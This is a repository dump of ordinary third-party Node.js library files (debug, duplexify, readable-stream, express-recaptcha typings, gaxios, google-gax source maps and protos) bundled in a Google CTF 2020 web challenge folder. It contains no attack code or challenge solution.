1.0.3 / 2017-09-10 7 | ================== 8 | 9 | * perf: remove argument reassignment 10 | 11 | 1.0.2 / 2016-05-09 12 | ================== 13 | 14 | * perf: enable strict mode 15 | 16 | 1.0.1 / 2015-02-13 17 | ================== 18 | 19 | * Improve missing `Content-Type` header error message 20 | 21 | 1.0.0 / 2015-02-01 22 | ================== 23 | 24 | * Initial implementation, derived from `media-typer@0.3.0` 25 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/core-util-is/README.md: -------------------------------------------------------------------------------- 1 | # core-util-is 2 | 3 | The `util.is*` functions introduced in Node v0.12. 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/debug/src/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer / nwjs process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process === 'undefined' || process.type === 'renderer' || process.browser === true || process.__nwjs) { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/decamelize/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | module.exports = function (str, sep) { 3 | if (typeof str !== 'string') { 4 | throw new TypeError('Expected a string'); 5 | } 6 | 7 | sep = typeof sep === 'undefined' ? '_' : sep; 8 | 9 | return str 10 | .replace(/([a-z\d])([A-Z])/g, '$1' + sep + '$2') 11 | .replace(/([A-Z]+)([A-Z][a-z\d]+)/g, '$1' + sep + '$2') 12 | .toLowerCase(); 13 | }; 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/depd/lib/compat/event-listener-count.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * depd 3 | * Copyright(c) 2015 Douglas Christopher Wilson 4 | * MIT Licensed 5 | */ 6 | 7 | 'use strict' 8 | 9 | /** 10 | * Module exports. 11 | * @public 12 | */ 13 | 14 | module.exports = eventListenerCount 15 | 16 | /** 17 | * Get the count of listeners on an event emitter of a specific type. 18 | */ 19 | 20 | function eventListenerCount (emitter, type) { 21 | return emitter.listeners(type).length 22 | } 23 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "4" 4 | - "6" 5 | - "8" 6 | - "10" 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/example.js: -------------------------------------------------------------------------------- 1 | var duplexify = require('duplexify') 2 | var http = require('http') 3 | 4 | var request = function(opts) { 5 | var req = http.request(opts) 6 | var dup = duplexify() 7 | dup.setWritable(req) 8 | req.on('response', function(res) { 9 | dup.setReadable(res) 10 | }) 11 | return dup 12 | } 13 | 14 | var req = request({ 15 | method: 'GET', 16 | host: 'www.google.com', 17 | port: 80 18 | }) 19 | 20 | req.end() 21 | req.pipe(process.stdout) 22 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/duplex-browser.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./lib/_stream_duplex.js'); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/duplex.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./readable').Duplex 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/lib/internal/streams/stream-browser.js: -------------------------------------------------------------------------------- 1 | module.exports = require('events').EventEmitter; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/lib/internal/streams/stream.js: -------------------------------------------------------------------------------- 1 | module.exports = require('stream'); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/passthrough.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./readable').PassThrough 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/readable-browser.js: -------------------------------------------------------------------------------- 1 | exports = module.exports = require('./lib/_stream_readable.js'); 2 | exports.Stream = exports; 3 | exports.Readable = exports; 4 | exports.Writable = require('./lib/_stream_writable.js'); 5 | exports.Duplex = require('./lib/_stream_duplex.js'); 6 | exports.Transform = require('./lib/_stream_transform.js'); 7 | exports.PassThrough = require('./lib/_stream_passthrough.js'); 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/transform.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./readable').Transform 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/writable-browser.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./lib/_stream_writable.js'); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/duplexify/node_modules/readable-stream/writable.js: -------------------------------------------------------------------------------- 1 | var Stream = require("stream") 2 | var Writable = require("./lib/_stream_writable.js") 3 | 4 | if (process.env.READABLE_STREAM === 'disable') { 5 | module.exports = Stream && Stream.Writable || Writable 6 | } else { 7 | module.exports = Writable 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/ecdsa-sig-formatter/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @omsmith 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/ecdsa-sig-formatter/src/param-bytes-for-alg.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | function getParamSize(keySize) { 4 | var result = ((keySize / 8) | 0) + (keySize % 8 === 0 ? 0 : 1); 5 | return result; 6 | } 7 | 8 | var paramBytesForAlg = { 9 | ES256: getParamSize(256), 10 | ES384: getParamSize(384), 11 | ES512: getParamSize(521) 12 | }; 13 | 14 | function getParamBytesForAlg(alg) { 15 | var paramBytes = paramBytesForAlg[alg]; 16 | if (paramBytes) { 17 | return paramBytes; 18 | } 19 | 20 | throw new Error('Unknown algorithm "' + alg + '"'); 21 | } 22 | 23 | module.exports = getParamBytesForAlg; 24 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/emoji-regex/index.d.ts: -------------------------------------------------------------------------------- 1 | declare module 'emoji-regex' { 2 | function emojiRegex(): RegExp; 3 | 4 | export default emojiRegex; 5 | } 6 | 7 | declare module 'emoji-regex/text' { 8 | function emojiRegex(): RegExp; 9 | 10 | export default emojiRegex; 11 | } 12 | 13 | declare module 'emoji-regex/es2015' { 14 | function emojiRegex(): RegExp; 15 | 16 | export default emojiRegex; 17 | } 18 | 19 | declare module 'emoji-regex/es2015/text' { 20 | function emojiRegex(): RegExp; 21 | 22 | export default emojiRegex; 23 | } 24 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/index.d.ts: -------------------------------------------------------------------------------- 1 | export { RecaptchaV2 } from './v2'; 2 | export { RecaptchaV3 } from './v3'; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | var v2_1 = require("./v2"); 4 | Object.defineProperty(exports, "RecaptchaV2", { enumerable: true, get: function () { return v2_1.RecaptchaV2; } }); 5 | var v3_1 = require("./v3"); 6 | Object.defineProperty(exports, "RecaptchaV3", { enumerable: true, get: function () { return v3_1.RecaptchaV3; } }); 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaMiddleware.d.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response, NextFunction } from 'express'; 2 | import { RecaptchaOptionsV2, RecaptchaOptionsV3 } from './RecaptchaOptions'; 3 | export interface RecaptchaMiddleware { 4 | renderWith(optionsToOverride: RecaptchaOptionsV2 | RecaptchaOptionsV3): (req: Request, res: Response, next: NextFunction) => void; 5 | render(req: Request, res: Response, next: NextFunction): void; 6 | verify(req: Request, res: Response, next: NextFunction): void; 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaMiddleware.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaOptions.d.ts: -------------------------------------------------------------------------------- 1 | export interface RecaptchaOptionsV2 { 2 | onload?: string; 3 | checkremoteip?: boolean; 4 | render?: string; 5 | hl?: string; 6 | theme?: string; 7 | type?: string; 8 | callback?: string; 9 | expired_callback?: string; 10 | size?: string; 11 | tabindex?: string; 12 | } 13 | export interface RecaptchaOptionsV3 { 14 | onload?: string; 15 | checkremoteip?: boolean; 16 | hl?: string; 17 | callback?: string; 18 | action?: string; 19 | } 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaOptions.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaResponse.d.ts: -------------------------------------------------------------------------------- 1 | import { RecaptchaResponseDataV2, RecaptchaResponseDataV3 } from "./RecaptchaResponseData"; 2 | export interface RecaptchaResponseV2 { 3 | error?: string; 4 | data?: RecaptchaResponseDataV2; 5 | } 6 | export interface RecaptchaResponseV3 { 7 | error?: string; 8 | data?: RecaptchaResponseDataV3; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaResponse.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaResponseData.d.ts: -------------------------------------------------------------------------------- 1 | export interface RecaptchaResponseDataV2 { 2 | hostname?: string; 3 | } 4 | export interface RecaptchaResponseDataV3 extends RecaptchaResponseDataV2 { 5 | score: number; 6 | action: string; 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/RecaptchaResponseData.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/interfaces/index.d.ts: -------------------------------------------------------------------------------- 1 | export * from './RecaptchaMiddleware'; 2 | export * from './RecaptchaOptions'; 3 | export * from './RecaptchaResponse'; 4 | export * from './RecaptchaResponseData'; 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/typings/express-recaptcha.d.ts: -------------------------------------------------------------------------------- 1 | import { RecaptchaResponseV2, RecaptchaResponseV3 } from '../interfaces'; 2 | declare global { 3 | namespace Express { 4 | interface Request { 5 | recaptcha?: RecaptchaResponseV2 | RecaptchaResponseV3; 6 | } 7 | interface Response { 8 | recaptcha?: string; 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/express-recaptcha/dist/typings/express-recaptcha.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/extend/.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | indent_style = tab 5 | indent_size = 4 6 | end_of_line = lf 7 | charset = utf-8 8 | trim_trailing_whitespace = true 9 | insert_final_newline = true 10 | max_line_length = 150 11 | 12 | [CHANGELOG.md] 13 | indent_style = space 14 | indent_size = 2 15 | 16 | [*.json] 17 | max_line_length = off 18 | 19 | [Makefile] 20 | max_line_length = off 21 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/extend/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "root": true, 3 | 4 | "extends": "@ljharb", 5 | 6 | "rules": { 7 | "complexity": [2, 20], 8 | "eqeqeq": [2, "allow-null"], 9 | "func-name-matching": [1], 10 | "max-depth": [1, 4], 11 | "max-statements": [2, 26], 12 | "no-extra-parens": [1], 13 | "no-magic-numbers": [0], 14 | "no-restricted-syntax": [2, "BreakStatement", "ContinueStatement", "DebuggerStatement", "LabeledStatement", "WithStatement"], 15 | "sort-keys": [0], 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/fast-text-encoding/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | 3 | node_js: 4 | - stable 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/fast-text-encoding/compile.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | google-closure-compiler \ 4 | --compilation_level ADVANCED \ 5 | --js_output_file text.min.js \ 6 | --language_out ECMASCRIPT5 \ 7 | --warning_level VERBOSE \ 8 | --create_source_map %outname%.map \ 9 | --externs externs.js \ 10 | text.js 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/fast-text-encoding/externs.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * @constructor 4 | */ 5 | var Buffer; 6 | 7 | /** 8 | * @param {!ArrayBuffer} raw 9 | * @param {number} byteOffset 10 | * @param {number} byteLength 11 | * @return {!Buffer} 12 | */ 13 | Buffer.from = function(raw, byteOffset, byteLength) {}; 14 | 15 | /** 16 | * @this {*} 17 | * @param {string} encoding 18 | * @return {string} 19 | */ 20 | Buffer.prototype.toString = function(encoding) {}; 21 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/gaxios/build/src/common.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"common.js","sourceRoot":"","sources":["../../src/common.ts"],"names":[],"mappings":";AAAA,4BAA4B;AAC5B,kEAAkE;AAClE,mEAAmE;AACnE,0CAA0C;AAC1C,EAAE;AACF,gDAAgD;AAChD,EAAE;AACF,sEAAsE;AACtE,oEAAoE;AACpE,2EAA2E;AAC3E,sEAAsE;AACtE,iCAAiC;;;AAMjC,uDAAuD;AAEvD,MAAa,WAAqB,SAAQ,KAAK;IAI7C,YACE,OAAe,EACf,OAAsB,EACtB,QAA2B;QAE3B,KAAK,CAAC,OAAO,CAAC,CAAC;QACf,IAAI,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACzB,IAAI,CAAC,MAAM,GAAG,OAAO,CAAC;QACtB,IAAI,CAAC,IAAI,GAAG,QAAQ,CAAC,MAAM,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC;CACF;AAdD,kCAcC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/gaxios/build/src/index.d.ts: -------------------------------------------------------------------------------- 1 | import { GaxiosOptions } from './common'; 2 | import { Gaxios } from './gaxios'; 3 | export { GaxiosError, GaxiosPromise, GaxiosResponse, Headers, RetryConfig, } from './common'; 4 | export { Gaxios, GaxiosOptions }; 5 | /** 6 | * The default instance used when the `request` method is directly 7 | * invoked. 8 | */ 9 | export declare const instance: Gaxios; 10 | /** 11 | * Make an HTTP request using the given options. 12 | * @param opts Options for the request 13 | */ 14 | export declare function request(opts: GaxiosOptions): Promise>; 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/gaxios/build/src/index.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":";AAAA,4BAA4B;AAC5B,kEAAkE;AAClE,mEAAmE;AACnE,0CAA0C;AAC1C,EAAE;AACF,gDAAgD;AAChD,EAAE;AACF,sEAAsE;AACtE,oEAAoE;AACpE,2EAA2E;AAC3E,sEAAsE;AACtE,iCAAiC;;;AAGjC,qCAAgC;AASxB,uFATA,eAAM,OASA;AAPd,mCAMkB;AALhB,qGAAA,WAAW,OAAA;AAQb;;;GAGG;AACU,QAAA,QAAQ,GAAG,IAAI,eAAM,EAAE,CAAC;AAErC;;;GAGG;AACI,KAAK,UAAU,OAAO,CAAI,IAAmB;IAClD,OAAO,gBAAQ,CAAC,OAAO,CAAI,IAAI,CAAC,CAAC;AACnC,CAAC;AAFD,0BAEC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/gaxios/build/src/retry.d.ts: -------------------------------------------------------------------------------- 1 | import { GaxiosError } from './common'; 2 | export declare function getRetryConfig(err: GaxiosError): Promise<{ 3 | shouldRetry: boolean; 4 | config?: undefined; 5 | } | { 6 | shouldRetry: boolean; 7 | config: import("./common").GaxiosOptions; 8 | }>; 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/get-caller-file/index.d.ts: -------------------------------------------------------------------------------- 1 | declare const _default: (position?: number) => any; 2 | export = _default; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-auth-library/build/src/auth/envDetect.d.ts: -------------------------------------------------------------------------------- 1 | export declare enum GCPEnv { 2 | APP_ENGINE = "APP_ENGINE", 3 | KUBERNETES_ENGINE = "KUBERNETES_ENGINE", 4 | CLOUD_FUNCTIONS = "CLOUD_FUNCTIONS", 5 | COMPUTE_ENGINE = "COMPUTE_ENGINE", 6 | NONE = "NONE" 7 | } 8 | export declare function clear(): void; 9 | export declare function getEnv(): Promise; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-auth-library/build/src/crypto/browser/crypto.d.ts: -------------------------------------------------------------------------------- 1 | import { Crypto, JwkCertificate } from '../crypto'; 2 | export declare class BrowserCrypto implements Crypto { 3 | constructor(); 4 | sha256DigestBase64(str: string): Promise; 5 | randomBytesBase64(count: number): string; 6 | private static padBase64; 7 | verify(pubkey: JwkCertificate, data: string, signature: string): Promise; 8 | sign(privateKey: JwkCertificate, data: string): Promise; 9 | decodeBase64StringUtf8(base64: string): string; 10 | encodeBase64StringUtf8(text: string): string; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-auth-library/build/src/crypto/node/crypto.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | import { Crypto } from '../crypto'; 3 | export declare class NodeCrypto implements Crypto { 4 | sha256DigestBase64(str: string): Promise; 5 | randomBytesBase64(count: number): string; 6 | verify(pubkey: string, data: string | Buffer, signature: string): Promise; 7 | sign(privateKey: string, data: string | Buffer): Promise; 8 | decodeBase64StringUtf8(base64: string): string; 9 | encodeBase64StringUtf8(text: string): string; 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-auth-library/build/src/messages.d.ts: -------------------------------------------------------------------------------- 1 | export declare enum WarningTypes { 2 | WARNING = "Warning", 3 | DEPRECATION = "DeprecationWarning" 4 | } 5 | export declare function warn(warning: Warning): void; 6 | export interface Warning { 7 | code: string; 8 | type: WarningTypes; 9 | message: string; 10 | warned?: boolean; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-auth-library/build/src/options.d.ts: -------------------------------------------------------------------------------- 1 | export declare function validate(options: any): void; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three; 4 | 5 | option ruby_package = "A::B::C"; 6 | 7 | message Four { 8 | string a_string = 1; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit_legacy.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three.and; 4 | 5 | option ruby_package = "AA.BB.CC"; 6 | 7 | message Four { 8 | string another_string = 1; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_implicit.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three; 4 | 5 | message Four { 6 | string a_string = 1; 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/apiCaller.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"apiCaller.js","sourceRoot":"","sources":["../../src/apiCaller.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAaH,mEAA8D;AAyB9D,SAAgB,eAAe,CAC7B,QAAsB,EACtB,UAAkC;IAElC,IAAI,CAAC,UAAU,EAAE;QACf,OAAO,IAAI,iCAAe,EAAE,CAAC;KAC9B;IACD,OAAO,UAAU,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC;AAC3C,CAAC;AARD,0CAQC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/apitypes.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"apitypes.js","sourceRoot":"","sources":["../../src/apitypes.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/clientInterface.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"clientInterface.js","sourceRoot":"","sources":["../../src/clientInterface.ts"],"names":[],"mappings":";AAAA,4BAA4B;AAC5B,EAAE;AACF,kEAAkE;AAClE,mEAAmE;AACnE,0CAA0C;AAC1C,EAAE;AACF,kDAAkD;AAClD,EAAE;AACF,sEAAsE;AACtE,oEAAoE;AACpE,2EAA2E;AAC3E,sEAAsE;AACtE,iCAAiC;AACjC,EAAE;AACF,4EAA4E;AAC5E,iEAAiE;AACjE,qDAAqD"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/descriptor.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"descriptor.js","sourceRoot":"","sources":["../../src/descriptor.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;AAeH,kFAAwG;AAAhG,8HAAA,qBAAqB,OAAyB;AACtD,mEAAgE;AAAxD,gHAAA,cAAc,OAAA;AACtB,sEAAmE;AAA3D,oHAAA,gBAAgB,OAAA;AACxB,qEAAkE;AAA1D,oHAAA,gBAAgB,OAAA"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/googleError.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"googleError.js","sourceRoot":"","sources":["../../src/googleError.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAIH,MAAa,WAAY,SAAQ,KAAK;CAGrC;AAHD,kCAGC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/isbrowser.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"isbrowser.js","sourceRoot":"","sources":["../../src/isbrowser.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAEH,SAAgB,SAAS;IACvB,OAAO,OAAO,MAAM,KAAK,WAAW,CAAC;AACvC,CAAC;AAFD,8BAEC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/longRunningCalls/longRunningDescriptor.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"longRunningDescriptor.js","sourceRoot":"","sources":["../../../src/longRunningCalls/longRunningDescriptor.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAKH,iEAA4D;AAS5D;;GAEG;AACH,MAAa,qBAAqB;IAKhC,YACE,gBAAkC,EAClC,eAA2B,EAC3B,eAA2B;QAE3B,IAAI,CAAC,gBAAgB,GAAG,gBAAgB,CAAC;QACzC,IAAI,CAAC,eAAe,GAAG,eAAe,CAAC;QACvC,IAAI,CAAC,eAAe,GAAG,eAAe,CAAC;IACzC,CAAC;IAED,YAAY;QACV,OAAO,IAAI,2CAAoB,CAAC,IAAI,CAAC,CAAC;IACxC,CAAC;CACF;AAlBD,sDAkBC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/routingHeader.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"routingHeader.js","sourceRoot":"","sources":["../../src/routingHeader.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAEH,2CAA2C;AAE3C;;;;;;;GAOG;AAEH;;;;;GAKG;AAEH,SAAgB,UAAU,CAAC,MAE1B;IACC,OAAO,WAAW,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;AACvC,CAAC;AAJD,gCAIC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/status.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"status.js","sourceRoot":"","sources":["../../src/status.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAEH,uEAAuE;AACvE,0EAA0E;AAC1E,wEAAwE;AACxE,uCAAuC;AAEvC,IAAY,MAkBX;AAlBD,WAAY,MAAM;IAChB,+BAAM,CAAA;IACN,6CAAS,CAAA;IACT,yCAAO,CAAA;IACP,2DAAgB,CAAA;IAChB,6DAAiB,CAAA;IACjB,6CAAS,CAAA;IACT,uDAAc,CAAA;IACd,6DAAiB,CAAA;IACjB,+DAAkB,CAAA;IAClB,iEAAmB,CAAA;IACnB,0CAAO,CAAA;IACP,oDAAY,CAAA;IACZ,sDAAa,CAAA;IACb,4CAAQ,CAAA;IACR,kDAAW,CAAA;IACX,8CAAS,CAAA;IACT,0DAAe,CAAA;AACjB,CAAC,EAlBW,MAAM,GAAN,cAAM,KAAN,cAAM,QAkBjB"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/streamingCalls/streamDescriptor.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"streamDescriptor.js","sourceRoot":"","sources":["../../../src/streamingCalls/streamDescriptor.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAOH,6DAAwD;AAExD;;GAEG;AACH,MAAa,gBAAgB;IAI3B,YAAY,UAAsB;QAChC,IAAI,CAAC,IAAI,GAAG,UAAU,CAAC;QACvB,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,QAAsB;QACjC,0EAA0E;QAC1E,4EAA4E;QAC5E,iBAAiB;QACjB,0BAA0B;QAC1B,QAAQ,CAAC,KAAK,GAAG,IAAI,CAAC;QACtB,OAAO,IAAI,uCAAkB,CAAC,IAAI,CAAC,CAAC;IACtC,CAAC;CACF;AAjBD,4CAiBC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/build/src/warnings.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"warnings.js","sourceRoot":"","sources":["../../src/warnings.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;GAcG;;;AAEH,2CAAsC;AAEtC,MAAM,eAAe,GAAG,IAAI,GAAG,EAAU,CAAC;AAE1C,SAAgB,IAAI,CAAC,IAAY,EAAE,OAAe;IAChD,iCAAiC;IACjC,IAAI,eAAe,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE;QAC7B,OAAO;KACR;IACD,eAAe,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IAE1B,IAAI,qBAAS,EAAE,EAAE;QACf,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;KACvB;SAAM;QACL,OAAO,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;KAC9B;AACH,CAAC;AAZD,oBAYC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/google-gax/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package one.two.a_three; 4 | 5 | option ruby_package = "A::B::C"; 6 | 7 | message Four { 8 | string a_string = 1; 9 | } 10 